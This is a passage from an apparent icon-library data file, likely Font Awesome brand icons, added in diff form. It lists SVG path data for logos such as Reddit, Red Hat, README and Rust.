11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"], + "reacteurope": [576, 512, [], "f75d", "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"], + "readme": [576, 512, [], "f4d5", "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"], + "rebel": [512, 512, [], "f1d0", "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"], + "red-river": [448, 512, [], "f3e3", "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"], + "reddit": [512, 512, [], "f1a1", "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"], + "reddit-alien": [512, 512, [], "f281", "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"], + "reddit-square": [448, 512, [], "f1a2", "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"], + "redhat": [512, 512, [], "f7bc", "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"], + "renren": [512, 512, [], "f18b", "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"], + "replyd": [448, 512, [], "f3e6", "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"], + "researchgate": [448, 512, [], "f4f8", "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"], + "resolving": [496, 512, [], "f3e7", "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"], + "rev": [448, 512, [], "f5b2", "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"], + "rocketchat": [576, 512, [], "f3e8", "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"], + "rockrms": [496, 512, [], "f3e9", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"], + "rust": [512, 512, [], "e07a", "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7